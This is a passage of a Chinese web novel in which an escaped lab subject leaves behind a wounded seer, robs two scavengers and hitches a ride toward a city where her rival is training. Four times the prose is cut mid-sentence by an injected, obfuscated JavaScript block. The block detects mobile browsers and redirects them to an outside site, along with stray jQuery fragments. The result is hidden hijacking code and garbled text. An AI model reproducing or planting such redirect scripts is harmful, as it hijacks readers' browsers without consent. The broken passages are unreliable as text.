兰落虽然不清楚他帮助自己的原因,但心里对祝见尘的印象还是好了不少,至少已经把对他的印象从神经病变为有点好的神经病了。 基地会知道是他间接放走了自己吗?如果被发现了,陆观会惩罚他吗? 兰落搞不清他们兄弟间的恩怨,不知道这件事对祝见尘有没有影响,反正也和她无关了,她干脆不想了,倒出两粒小药丸小心翼翼塞进楚知的嘴巴。 昏迷中的楚知不够配合,一粒药丸顺着他的唇滚出来,掉在地上沾上厚厚的灰。 兰落没有犹豫,捡起脏兮兮的药丸继续往他嘴里塞,直到他被迫咽下去。 药太少了,她舍不得浪费。 两粒药下肚,楚知的面色肉眼可见地好了起来,眉头也渐渐舒展开。 兰落看效果不错,收起药喊他:“好了没?再不醒我就把你扔出去。” 楚知睁开眼:“别……” 他胸口起伏的弧度变大:“我的预知能力很强,可以预知到未来的很多事。” 兰落双手抱胸:“少自夸,你要是真这么厉害,基地至于像扔垃圾一样扔你?” 她毫不留情拆穿楚知,满脸都是不信。 楚知扯了扯唇角:“我刚到基地的时候,只是个普通人,因为不服管所以总是挨揍,他们都说我不老实,所以把我关在了s组。” “后来我突然觉醒了异能,但由于预知能力无法显化,所以基地一直都不知道我有这个能力,只当我是个被打怕了的普通人。” 兰落挑眉:“所以这和你的能力厉不厉害有什么关系?” 楚知咳了几声,哑着嗓子说:“那次你被蛇头攻击,我提醒你不是因为有经验,而是因为预知到了你会被攻击,所以掐准时间提醒你。” “这证明不了你的能力,先告诉我关于我的事你知道多少吧。”兰落不想废话,直切主题。 “我不久前预知到,基地会追捕一个逃跑的女实验体,所以一直关注着,那天你经过s组,我又预知到你即将被蛇头攻击,认出了你的脸。” “你走之后,我又预知了一次,这次我预知到你在有天空的地方捧着一颗心脏,也就确定了你未来会逃出实验室来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785894|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到外面。” “慢着,”兰落打断他,“你的预知能力有发动条件吗?是被动的还是可以主动选择的?” 楚知愣了一下,沉默几秒才开口:“可以主动选择对某个人进行预知,但预知到的画面不受控……” “你耍我呢?” 兰落再次打断他。 按照楚知的说法,他的预知效果全看运气,如果运气不好,岂不是一辈子预知不到她想要的东西? 兰落开口:“这点东西可不值得我费这么大力气救你。” “呵呵,”楚知突然笑了,“现在的你,和在基地第一次遇到的你简直两模两样。” “你好得到哪去?” 兰落还记得他刚开始装出来的温和气质,现在已经完全变成了一个没有尊严只求活命的废物。 天色已经微微亮,兰落看了眼窗外,谨慎地把自己藏进阴影,顺便把楚知踢进死角。 兰落压低声音:“现在就给我预知,我要知道一个人的下落。” 楚知沉默几秒:“谁?” 兰落轻飘飘吐出两个字:“兰升。” “他跟你是……”楚知看她一眼,犹豫着问。 兰落面无表情:“少管,你只需要按我说的做。” 楚知脑袋一偏:“我没办法预知到没有见过的人。” “那你是怎么预知到我的?”兰落问。 “第一次预知的对象只是研究员而已,”楚知说,“你出现在了他们的未来里,所以我得以认识你。” 兰落“啧”了一声:“那就预知我,他肯定会出现在我的未来里。” 楚知张了张嘴,却没说什么,点了点头闭上眼睛。 开始了? 还是又晕了? 兰落在原地等了一会儿,楚知就像一具安详的尸体,动也不动,双手交叠放在腹部。 她挪动脚步,走到楚知面前抬脚欲踢。 抬起的脚还没碰到他,楚知就捂住胸口,嘴角溢出血丝:“咳……看,看到了。” 兰落收回脚,假装无事发生:“看到了什么?说仔细点。” “我看到,”他睁开眼面露不解,“一棵树,树下有一个男生,正在……煮饭?” “煮饭?”兰落问,“长什么样子?穿的什么衣服?树是什么样的树?周围环境如何?” 楚知回忆着开口:“树很大,树干上有很多藤蔓,长相……白白的瘦瘦的,看起来有点内向,衣服似乎是制服,黑色的,有多功能腰带。” “哈。” 兰落笑了,这还真是兰升的特征。 “那我呢?”兰落想起来重点,“你预知的不是我的未来吗?” “是,但是……” 楚知脸上比她还茫然:“我在这幅画面里,看不到你。” 看不到? “你确定你的能力没问题?确定预知到的是我的未来?”兰落问。 楚知这次很坚定地摇头:“绝不会错,所以那副画面绝对和你有关,只是我看不到你的存在。” 兰落脸上的表情渐渐凝重。 ——除非兰升也觉醒了传承,并先下手为强把她吞噬了,否则她没有理由在自己的未来里不存在。 “兰升……” 兰落的心脏开始怦怦跳动,像一个好斗的孩子似的撞击她的胸腔。 她捂住心脏的位置,满脸兴致盎然: 兰升,会是你吗? 会是你先吞噬我吗? 18. 军校 兰落把楚知一个人扔在废弃建筑里,跳出窗户打探周边的环境。 她还不知道自己跑到了哪里,也不确定有没有追兵,只敢先在周边打转。 离开前她特意问了楚知,他预知到的画面一般都会在一周到半个月之内出现,也就是说她也许很快就能遇上兰升了。 楚知说他预知到兰升出现的地方有树,树上还有藤蔓,按照他的说法,兰落大概能确定兰升会离开军校,来到野外。 因为通常情况下,只有野外会出现藤蔓绕树的情况。 这是环境决定的,腐蚀雨中树木为了自保,藤蔓为了生长,会默契地互相依靠来抵御腐蚀。而城市大多避开了腐蚀雨严重的区域,很少出现藤蔓绕树,就算有也会为了市容定时清理,不会放任藤蔓生长。 心里有了猜测之后,兰落有意识地朝着树木茂盛的森林深处走,一是为了观察树木,二是要借森林的遮蔽来藏身。 她没忘记自己的处境,行事不敢大胆。 兰落边走边用小刀在树干上留记号,观察着树木的生长情况。这里的树木偏干,藤蔓也少,恐怕兰升出现的地方并不在这附近。 周围起了大风,这些树都被吹得摇来摇去,叶子啪嗒啪嗒掉在地上。 “咔嚓——咔嚓——” 轻微的响声出现在兰落身后,她转头看了看,什么都没有。 可能是风吹落了树枝而已吧。 兰落垂下眼睛,慢慢朝前走,不动声色地将手探进口袋。 “咔——” 同样的声音又在身后响起,不过这次十分短促,响了一下就停了。 兰落左手握刀,右手抄在口袋里,侧身看着后方:“出来。” 风小了点,四周一片安静,兰落的身后只有茂密的树丛,看不见半个人影。 “不出来的话,”兰落目光凝聚在一颗粗壮的老树上,“我就亲自找你了。” 她脚步轻抬,话音落地就往回走。 兰落倒不是猖狂,实在是跟着她的这个人破绽太多,没有谨慎的必要。 这人的脚步声虽小却不轻巧,在地上有些微的拖拽,又经常踩到枯枝发出动静,兰落猜测此人要么身形瘦小,要么压根不是人,只是个动物。 就算是个异能者,估计也没什么用,不然就直接偷袭她了。 兰落没走两步,前方的老树后就蒙地冲出一个黑色的影子,径直朝着她的方向奔来。 影子手里举着一根粗壮的树枝,抬手就要劈向兰落。 人影动作虽快,却实在拙劣,兰落微微侧身就直接避开了树枝,顺手一捞,树枝就出现在她的手里。 树枝的另一端仍然被人影牢牢握在手中,兰落用力一抽,人影就被带得踉跄两步,一个狗吃屎跌在她面前。 “哎呦!” 人影扑在地上,重重叫了一声。 原来是个小孩,怪不得。 兰落毫不客气踩在他背上:“为什么跟着我?” 小孩偏过脑袋,像乌龟似的用力伸长脖子看她:“谁跟着你了?是你挡我路了!” 兰落脚下用力,听到小孩吱哇乱叫着喊疼才收力气,然后换了个方式问:“这是哪儿?你为什么一个人出现在这里?” “这是哪儿?”乌龟小孩不解地看她,“你自己跑来的你问我?这是森林呗。” 兰落当然知道这是森林了。 “你为什么一个人在这?离这里最近的城市是哪座城?”她继续问。 “我一个人,当、当然是……” 乌龟小孩眼珠子滴溜溜地转,结结巴巴地回答她,一看就不老实。 兰落张嘴:“我劝你最好老实……” “阿嚏!阿嚏!” “阿嚏!阿嚏!阿嚏!……” 说到一半,兰落突然鼻子一痒,开始狂打喷嚏,一个接一个停不下来。 她捂着口鼻打喷嚏,脚上的力气也松了一下。 乌龟小孩一直偷偷观察着兰落,等她脚一松就撅着屁股往前爬了两步,然后站起来一脸嘚瑟地看着兰落打喷嚏。 跑了几步远,小孩停下来,顶着满头树叶和杂草对兰落比中指:“谁告诉你我是一个人了!” 兰落眼眶都红了,强压着打喷嚏的欲望,举起藏在口袋里的枪,二话不说对准乌龟小孩。 她刚瞄准好,又是一阵喷嚏,打得她浑身颤抖瞄准不了该死的小屁孩。 “再不停下我就直接开枪,一枪不行我就多开几枪,总有一枪能打死他!” 兰落右手平举对准前方狂奔的小孩,对着空气放狠话。 乌龟小孩说他不是一个人,这莫名其妙的喷嚏肯定是他的同伴在捣鬼。 两个熊孩子,等会儿一人一颗子弹滚去给树做肥料吧! 兰落话音刚落,喷嚏就神奇地停了下来,小孩听到这话也是一个急刹车,一脸震惊地提防着兰落,打了个滚躲在树后。 “出来。”兰落把枪对准不远处的另一棵树。 乌龟小孩的步伐一直朝着这棵树前进,在兰落放下狠话后眼神也自以为隐秘地瞄着这棵树,说明同伴就在树后了。 树后缓缓走出一个……女人? 原来不是熊孩子,是熊家长。 兰落枪口随着女人转移,冷声问:“你们是一伙的?他为什么跟着我?这儿是什么地方?” 女人面容有些沧桑,估计年纪在四十岁左右,像根紫皮甘蔗,又高又瘦又黑。 “我叫胡娇芬,我们是拾荒人,这里本来就是我们捡捡破烂的地方。”女人举起双手,笑得有些讨好,“他年纪小没见过什么人,好奇而已。” 胡椒粉? “你的能力就是让人打喷嚏?”兰落问。 胡娇芬有点不好意思似的,低着头:“嗯,就这么点用处。” “明明就很厉害!”乌龟小孩突然叫起来,“有胡老大在根本没人敢跟我们抢地盘!” 胡娇芬瞪他一眼:“死孩子闭嘴!” “哼!” 乌龟小孩缩着脑袋朝树后一躲,不说话了。 兰落看小孩老实下来,也就不计较了,举着枪对准胡娇芬:“问你几个问题,老实回答。” “是是,你问。” “这是哪里?” “这就是林子啊,具体叫什么谁知道呢,城外这样的林子太多了,谁也说不清哪个是哪个,我们拾荒的也是靠自己留下的记号来认路的……” “停!”兰落换了个问题,“这片林子最靠近哪个城市?” 胡娇芬皱着脸愣了愣:“城……我们不在城里生活,我也不知道……” 兰落不耐烦地打断她:“那你知不知道未城?这里离未城远不远?” 未城就是兰落生活的城市,陆观的实验室也在未城郊外,如果这里距离未城不远的话,她可能要继续往远点走。 “未城?大城市啊。”胡娇芬面露思索,“不近,肯定不近,我就知道几个城市,未城这么大,不可能离我们近。” “那第一军校呢?认不认识?”兰落耐心几乎耗尽,一脸不悦。 “军校!” 胡娇芬还没说话,小孩就捕捉到关键词,在树后尖叫一声。 兰落没理他,不耐烦地看着胡娇芬。 胡娇芬也没理他:“这个我倒是知道,他们在周围的城市都有驻扎点,别的我就不知道了。” “骗人!”小孩冒出一个黑黄的脑袋,一脸蠢样地叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15798197|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,“你不是说军校要到我们的地盘打架吗?” 兰落举枪对准胡娇芬,手指已经有了扣动的欲望。 “说。”她冷着脸吐出一个字。 “我们拾荒的地方多,他不懂事,把这些地方都当成我们的地盘了,我是听说军校有活动的,但具体在哪我是真不知道,就知道会在几个城外边。” 胡娇芬一脸老实地说。 兰落沉默着,没说够了还是没够,依旧举着枪。 “那你们认识我吗?” 半晌,她问胡娇芬二人。 胡娇芬飞快摇头:“不认识,但以后就认识了,下次你再从这儿过,我就把他关起来,不打扰你过路。” “关我干嘛!”小孩扯着破嗓子,“一个人鬼鬼祟祟的,说不定是逃……阿嚏!” “闭嘴!” 胡娇芬瞪着眼睛打断小孩。 小孩夸张地打着喷嚏,面色涨红却一脸服气:“不愧是胡老大,还是那么厉害!” 兰落没心情看他表忠心,二话不说,举着枪对准小孩。 她本来就没打算让这两个人活着离开。 基地那边如果悬赏她,肯定会贴出照片,在安全之前兰落不希望任何人知道自己的脸和下落。 “有话好说!” 胡娇芬横跨一步,挡在小孩面前:“一个捡来的小屁孩而已,野猴子没人教,有做得不对的地方我回去教训他,你大人有大量,别跟孩子计较。” “你昨天还说我们相依为命呢!” 这孩子果真没脑子,胡娇芬都为了他对着兰落低声下气了,他还在扯着嗓子嚷嚷,丝毫不知道危险来临。 废物一个,不值得她浪费子弹。 兰落把枪移回胡娇芬头上:“通讯器拿出来。” 胡娇芬在口袋里一阵掏:“我不识字,通讯器里也没什么东西……” “我有!” 小孩跑出来,献宝似的捧着一个旧旧的通讯器。 “拿来。”兰落指他。 胡娇芬从小孩手里拿过通讯器,原原扔到兰落脚边。 兰落瞄了一眼位置,抬脚勾起通讯器,无视一老一少满脸的心疼,向上一踢把通讯器稳稳抓在手中。 小孩的通讯器里有用的东西少得可怜,容量几乎已经告急,联系人也只有一位“胡老大”。 兰落打开地图,闪动的红点显示她距离未城确实很远,中间足足隔了三座城。 她跑得这么快吗? 兰落速度不慢,但一夜狂奔数百公里确实有些离谱了,她更倾向于相信是基地在地下延伸了太远,所以她才能一下子出现在这么远的地方。 她和基地的实际距离也许会近很多。 兰落面色如常关闭地图,打开通知投放栏。 每款通讯器都会设置投放栏,为的就是野外信号不佳的时候能接受到重要通知,但除了官方通知,私人想要占据通知栏,都是要花大价钱的。 小孩的通知投放栏只有几条陈旧的消息,不是警告公众禁止城外探险就是催非法居民尽快搬离。 两个不识字的,怕是都不知道自己被催了这么多次吧。 兰落又试着搜了一下自己的名字,但通讯器没有信号,什么都搜不出来。 她清空记录退出搜索,正准备把通讯器还给望眼欲穿的小孩,一条新的通知就跳了出来: “注意!为磨炼新生意志,第一军校南部分校全体新生将在小息城开展为期一个月的大试炼,请诸位合法居民谨慎出行,防止误伤!” 兰落注视着这条消息,眼底闪过一丝微光。 南部分校? 真巧啊—— 兰升……好像就在南部分校呢。 19. 出发 “你们知道小息城吗?” 兰落随口问胡娇芬二人,重新打开地图,搜索这座城市。 “小息……” 小孩眨巴着眼睛重复,才说了一半就被胡娇芬打断。 “没听说过,”胡娇芬挡在小孩前面,对着兰落满脸堆笑,“我们都是到处乱跑,又不识字又没个认识的人……” 兰落抬起头,看向二人,老的一脸谄媚,小的满眼警惕。 “行了,闭嘴。” 兰落打断这些废话,不再搭理他们。 比起这一老一小两个不老实的家伙,她更信任通讯器和地图。 “小息城,原名不详,因腐蚀雨降临初期死亡人数过多得名小息城,意为亡魂安息,距您二百公里左右。若想检测详细距离,请打开通讯器精准定位……” 兰落掐断地图,顺手删了记录。 “这个归我了,”兰落把通讯器塞进口袋,“你们应该还有一个通讯器,足够使用了。” 她看也没看二人,转身就走。 小孩在后面像鸭子一样围着胡娇芬嘎嘎叫,满嘴都是对兰落的抱怨。 “胡老大!我们好不容易才一人一个通讯器,你怎么就让她抢走了!” “这个人也太不要脸了吧,凭什么抢我们的东西!没了通讯器,我们分开了怎么汇合?” 胡娇芬的脚步越来越远:“好了,别闹了,你不要总是跑到我看不见的地方不就行了?” “要不是你个兔崽子乱找事儿,通讯器也不会丢,以后老实点,听见没!再出事我可救不了你!” “知道了,胡老大,我肚子饿了……” 兰落耳中注意着他们的动静,防止后背偷袭,对他们的谈话内容渐渐失去兴趣。 有什么值得抱怨的? 要不是看在胡娇芬二人提供了通讯器的份儿上,她早就一枪崩了他们,防止自己的行踪被陆观的人发现了。 不杀他们,已经是兰落最大的仁慈了。 小孩的通讯器有些过时,市面上新兴的一些功能都没提供,不过兰落只是用来看地图,对通讯器倒没什么要求。 越落后她反而越放心,不用担心基地的追踪系统迅速捕捉到她。 保险起见,兰落还是用刀把摄像头凿烂了,彻底杜绝被窥视的风险。 既然知道了兰升的行踪,也确定了小息城的位置,兰落就不打算耗在这里了,她要尽快找到兰升,让他把心脏交出来。 不愿意? 那她就直接掏出来。 反正送她去实验室的时候,也没人问过她愿不愿意。 兰落先回了一趟废弃建筑,她还没忘记那里躺了个半死不活的家伙。 她已经看明白了,楚知的预知能力其实没多大屁用,就算没有楚知,她也会跑到这片森林,然后阴差阳错得知兰升的下落。 楚知的预知太笼统,什么藤蔓和树,露天煮饭,全部都是零散的画面,没办法提供具体的未来。 所以,兰落并不打算继续带着他。 “吃了。” 兰落站在楚知面前,把一粒药扔到他怀里。 楚知的状态和之前比好了一点,但仍然很虚弱,尤其是双腿,皮肉翻开,边缘泛白,隐隐有化脓溃烂的趋势。 他躺在地上看兰落,抬手捞起小小的药丸,没有丝毫犹豫地塞进嘴里咽下去。 “这是什么药?” 他扯着干哑的喉咙问。 兰落垂眸看他:“续命的,保你不死。” “不死……”楚知偏过脑袋看窗外,“这么说我本来是真的快死了?你给了我自由,又救了我一命?” 不知道为什么,他现在的样子与前两天为了活命狼狈祈求的样子截然不同,反而和兰落第一次在s组见到的那个温和沉稳的楚知重合了。 人似乎都会有两副面孔。 祝见尘也是这样,经常像疯子一样做出一些匪夷所思的举动,又偶尔像正常人一样安静沉默。 兰落收回思绪,不想解释这些没有意义的事情,开门见山地说:“这些不重要,重要的是接下来我有自己的事情要做,不会再带着你。” 楚知偏过去的脑袋“唰”一下偏回来,疲惫虚弱的眼睛瞬间瞪大:“什么意思?你,你不是要……心脏吗?我可以帮你的,我可以预知他的踪迹,你找起来会很轻松。” “不需要。” 兰落擦着匕首,抬眼看了看窗外的断垣残壁。 楚知撑起手臂:“为什么?你救我出来不就是为了这个吗?” “本来是,但现在不需要了。” 兰落神情自若:“我带你出实验室,你替我预知了我想要的东西,我们两清了。” “可我的伤……”楚知急切开口。 “虽然我为了追求速度,在过程中的确让你受了伤,但你的预知能力也不是很让人满意,不是吗?所以我们可以两两抵消了。”兰落试了试刀锋。 匕首非常锋利,她指腹轻压上去,就留下了一道细细的血线。 “不,不是。” 楚知摇着脑袋躺回去,咬了咬唇:“我不是指责你的意思。” 他眼睛看着墙角的蜘蛛网,嗓音干涩,似乎说得很艰难: “我只是想说,我的伤这么严重,如果你走了,我该怎么办?” 兰落脸上罕见露出一丝空白的茫然:“这跟我有什么关系?” 真是奇了怪了,她又不欠楚知的,把他活着带出实验室已经是她仁至义尽,何况她连宝贵的药品都给他吃了,这药可是吃一颗少一颗的。 要是他一辈子好不了,难道她要一辈子对他负责? 莫名其妙。 兰落睁着一双眼睛,半是不耐烦半是茫然地看着楚知。 楚知双手握拳,张了张嘴没有说话。 “嗯。” 半晌,他才轻轻嗯了一声。 兰落听到楚知回答,就当做他已经答应了,看了眼窗外,然后蹲下身凑近楚知。 “你太累赘,我不会带上你。” 她说完,不顾楚知难堪的神色,飞快开口:“但是,也许你有一个活命的机会。” 楚知没什么反应地问:“什么机会?” 兰落把刀塞进他的手里,拍了拍他布满伤口的手臂:“有个小屁孩在跟踪我。” “在哪?” 楚知无意识握紧刀,神情一瞬间变得警惕。 兰落继续说:“拾荒的而已,他们有一老一小两个人,野外经验很丰富,如果你能把握住这个机会,说不定能跟着他们活命。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802742|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “不过,至于我走后,他们是杀你还是救你,全看你自己的造化了。” “要是他们有歹心,你就用这把刀自保吧。” 兰落一口气说完,重新站起身瞥了眼窗外。 那个小屁孩在胡娇芬找水源的时候就开始偷偷跟着她了,躲藏手法一如既往地拙劣,兰落几乎瞬间就发现他了。 但想到无处安放的楚知,兰落考虑了一下还是没拆穿小孩,任由他跟到这里发现楚知。 这小孩看上去涉世未深,也许还有些仁慈之心,楚知卖卖惨撒撒谎,说不定就能忽悠这个小孩替他治伤。 兰落虽然有药,但楚知的伤都是外伤,不是一两颗药就能治好的,何况她的药数量稀少,舍不得全给楚知用。 反正他的腿也废了,伤得再重也不会疼,暂时保住命就够了。 “刀一定要留在自己身边,如果胡……他们有非分之想,这就是你最后的保命手段了。” 兰落踢了踢刀背,没什么情绪地提醒他。 楚知紧紧握着刀,用力到手背青筋暴起,手臂伤口开裂流血。 他始终没看兰落,闻言也只是轻轻点头,然后就闭上眼睛不动了。 兰落观察他几秒,怎么想都觉得自己做的已经够多了。 她想了想,还是从怀里掏出一个小小的瓶子,里面摇晃着腥红的液体。 “这东西有毒,你留着吧。” 兰落把小瓶子塞进楚知口袋里,然后就头也不回地走了。 瓶子里是兰落的血。 她害怕体内的毒素代谢太快,提前储存了一些血液以备不时之需。 兰落的血离体后会失去屏蔽痛觉的效果,但毒素却能如常发挥效果,也许是因为前者源自她体内,后者却是外来的。 她刚刚找了点昆虫试了试,体内的血还是可以毒晕他们,证明毒性暂时没有被代谢,还是可以使用的。 所以兰落干脆把瓶子里的给楚知了,就当是唯二逃出实验室的实验体的互相照拂。 “兰落。” 楚知的声音在身后响起。 兰落一只脚已经迈出了房间,闻言停下脚步:“怎么了?” 楚知躺在地上,视线慢慢抬高。 他静默几秒,才轻轻开口:“祝你好运。” 又是废话。 兰落挑了挑眉,没有回答,转身走了。 不管好不好运,她都会想尽一切办法达成自己的目标的。 小息城离这里足有二百公里,就算不眠不休也要走两天两夜,兰落倒不是怕累,她的身体素质一向很好,只是怕路上耽搁时间太久,失了先机。 万一军校封锁小息城,她的处境就太被动了,既要提防陆观,又要想办法混进城。 兰落躲在一颗树上,一边背地图一边观察废弃建筑里的情况。 小孩在她走后就闪身进了房间,直到现在都没出来,她观察了好一会儿,没发现异常,这才从树上跳下来,转身朝着小息城的方向狂奔而去。 从此,与实验室有关的一切都和她无关了。 ——除了被追捕。 丛林掩映下,深色衣服的女孩灵活地绕着树奔跑,漆黑的发丝绑成马尾飞扬在脑后,上面的兔子发绳在阳光下扑闪着灵动的光。 20. 搭车 兰落走了没多久,腐蚀雨就开始滴答,她停下脚步观察了一下,自己仍然身处森林,只不过不是胡娇芬他们的林子,是一片更加疏松的森林,周围甚至有不少新鲜的人类痕迹。 抬手挡住雨滴,略带黏腻感的水珠在兰落的手臂上砸出淡淡的红痕。 她在手臂的遮挡下打开通讯器,对比了一下自己的位置,确定自己的方向没问题就把通讯器收了起来。 腐蚀雨是好机会,她要趁雨没停,离开森林走上大路,那样会方便很多,直线距离也近一点。 兰落走到森林边缘,谨慎地观察了一会儿,没有发现异常才小心钻出来,沿着大路的边缘继续狂奔。 只是没跑多久,她的视线范围内就出现了一个小小的影子,摇摇晃晃地朝着自己的方向靠近。 兰落一直小心观察着路况,陡然看见一个活物在空旷的雨中靠近,心中顿时警铃大作,脚步一转就闪进了森林,躲在树后屏息凝神。 是追兵?还是路人? 兰落摩挲着枪柄,在心中考量着被追上的概率。 等摇晃的影子靠近了,她才辨认出这是一辆……车? 为什么如此荒无人烟的地方,会有一辆车冒着腐蚀雨独自前进? 兰落拧着眉头,一脸狐疑地打量这辆勉强能被称为车的物品,一时之间有些怀疑自己的知识储备。 这样的东西,到底是怎么在腐蚀雨里来去自如的? 这辆车的车身线条还算正常,只是款式有些老旧,香槟色金属外壳布满大大小小的坑洼,乍一看还以为是台平平无奇的报废古董车。 但车子的轮胎就没那么平常了,四个轮子不仅颜色不一,就连大小也不相同,怪不得在远处看它摇摇晃晃的。 看着这样的东西在腐蚀雨里穿梭,不亚于看着一个百岁老人徒手捞岩浆。 兰落透过厚厚的玻璃看车内的人,只是玻璃太脏看不清楚,只能隐隐约约看出里面只有一个人,坐在司机的位置把着方向盘。 司机踩下刹车,在车里四处张望了一下,然后就摇下车窗,眯着眼看周围。 这车的确古董,就连车窗都是靠手摇,兰落上一次见手摇车窗还是中学在废品站做志愿服务的时候了。 不过摇下车窗之后,兰落也得以看清司机的样子。 黑黝黝的一个老头,小眼睛瘪嘴唇,脑袋上好些斑秃,看样子像是被腐蚀雨长期破坏形成的。 老头躲在车里四处望了望,转身掏出一个牌子扔在车顶上。 人老车老,牌子却不老,是白色荧光艺术字的电子屏,上面潦草地写着: “跨城顺风车,按时收费,下雨加倍。” 顺风车? 这种鸟不拉屎的地方竟然有顺风车? 兰落藏在树上,对他的车子有些心动,却不敢掉以轻心。 这老头的样貌很陌生,年纪也不像是实验室会接纳的样子,但她还是不敢排除对这人的怀疑。 顺风车而已,她可以错过无数次,但万一这车和实验室有关,她可就没机会重来了。 老头在车里等了一会儿,小而窄的眼睛滴溜溜四处乱转,终于没忍住,张开嘴扯着嗓子:“顺风车!顺风车!有没有要回城的?顺风车顺风车了!” 老头的嗓门很大,透过雨幕直直传进森林里,被兰落听得清清楚楚。 “车是去哪?” 她也扯着嗓子回应了一句,说完就脚下用力一蹬,连跳好几棵树,远离了刚刚的位置。 “还真有客?” 老头听到声音,一脸惊喜地朝车门外探了探头:“哪都……” “哎呦!死雨!” 老头摸了摸淋到雨水的头顶,骂骂咧咧收回了脑袋,躲在车里喊:“哪都去!反正是按时间收费!走不走?” 兰落敲着树枝,把老头的车从上到下扫视了一圈。 想走,但怕有诈。 老头等了一会儿,又探出脑袋冲着空气大声嚷嚷:“放心!我是专业顺风车,做的是正经生意,童叟无欺从不涨价,不放心可以用通讯器下单,走不走一句话啊!” 通讯器下单要绑定个人信息,兰落除非是傻了才会选择这种下单方式。 她把枪盖在衣服下面,扯下长长的衣摆挡住下半张脸,这才从树上钻出来,径直朝着老头冲过去。 “快,快上!” 老头笑得见牙不见眼,伸长手臂从内部推开后座的门,招呼着兰落上车。 兰落绷着身体坐在老头的正后方,声音闷闷的:“白城,去不去?” 白城是离小息城最近的城市,兰落不想直接暴露自己的目的地引人注意,所以退而求其次选择了白城。 “白城?”老头眼珠子一转,“能去,当然能去。不过先说好,我是按时间收费的,一小时五百,现在在下雨,翻倍,一小时一千。” “嗯,可以。” 兰落假装犹豫两秒,然后点头同意。 反正她身上又没有钱,老头就算开价一个亿她也敢答应。 老头听完笑眯眯地点头,哼哧哼哧把车窗摇上去,然后当着兰落的面拍下了车上的计时器。 兰落眼看着计时器上的数字以将近每秒两秒的速度跳跃,心里竟然放松了一点。 开黑车就黑车吧,总比是来抓她的好。 “一个人越野?” 老头边开车边跟着老旧的音响哼歌,间奏的时候还不忘跟兰落唠嗑。 兰落看着他秃一块秃一块又秃一块的后脑勺,声音冷淡:“不是,跟队友闹矛盾了,他们先走了。” “什么队友,怎么把你一个小姑娘单独丢在这里?“老头夸张地叫起来,话里夹杂着方言的谩骂,”我拉了这么久的客,你这样的小姑娘屈指可数啊,太不安全了。” 兰落对他的一惊一乍有些厌烦,干脆不再作答,偏头看着窗外。 雨还在下,大小不一的车轮就这样深一脚浅一脚地在雨中狼狈前进,潮湿的空气和车内难闻陈旧的气味混合起来,颠得兰落有些反胃。 老头好像还没满足,咂咂嘴,也不看路,转过脑袋看她:“怎么捂着脸?怕我是坏人?” 兰落摸了摸脸上的布:“下雨,怕把脸淋花了。” 说完,还把遮脸的布向上提了提,遮住大半张脸。 “车里安全,我这都是身经百战的好料子,最不怕腐蚀了,摘下来透透气也好嘛。” 老头透过镜子看她一眼,摇摇头,满脸都是对爱美之心的鄙视:“小年轻啊,不要太关注外表,看看我,风吹雨打都不怕,嘿嘿,是吧?” 兰落皱眉,耐心已经快耗尽,不耐烦地啧了一声,暗示自己的心情很差。 老头撇撇嘴:“现在的年轻人啊……” “小息城知不知道?那帮年轻人更娇贵,军训而已,竟然要把整个城都围起来,真把全世界当成他们的游乐场了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808308|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没想到在这里还能听到小息城的消息,兰落面色自然:“这事我知道,也不知道他们具体什么时候训练,到时候还要绕着走呢。” “都不用到时候,现在就要绕着走,”老头哼笑,“他们要先排查危险,把路都堵上了,不然去白城还能换条近路走走。” “这样啊……” 兰落若有所思地看着车外,手指轻轻抽动。 老头也不说话了,哼着小曲转方向盘,探头探脑看着前方。 雨还在下,滴滴答答敲在车窗上,顺着玻璃一路滑下消失不见。 兰落可以透过玻璃看见外面的路况,她的影子叠在玻璃上,随着车子的摇晃轻轻摆动。 很久没这么安稳了,兰落脊背微弯,靠在椅背上双手抱胸。 “咚!” 一声巨响在下方出现,兰落被摇得左摇右摆,不得已撑着座椅保持平衡,一脸无语看着老头:“怎么回事?” 老头见怪不怪,在驾驶座上抖了两下就稳稳坐直,嘿嘿一笑:“车胎好像又坏了,你等着,我下去修。” 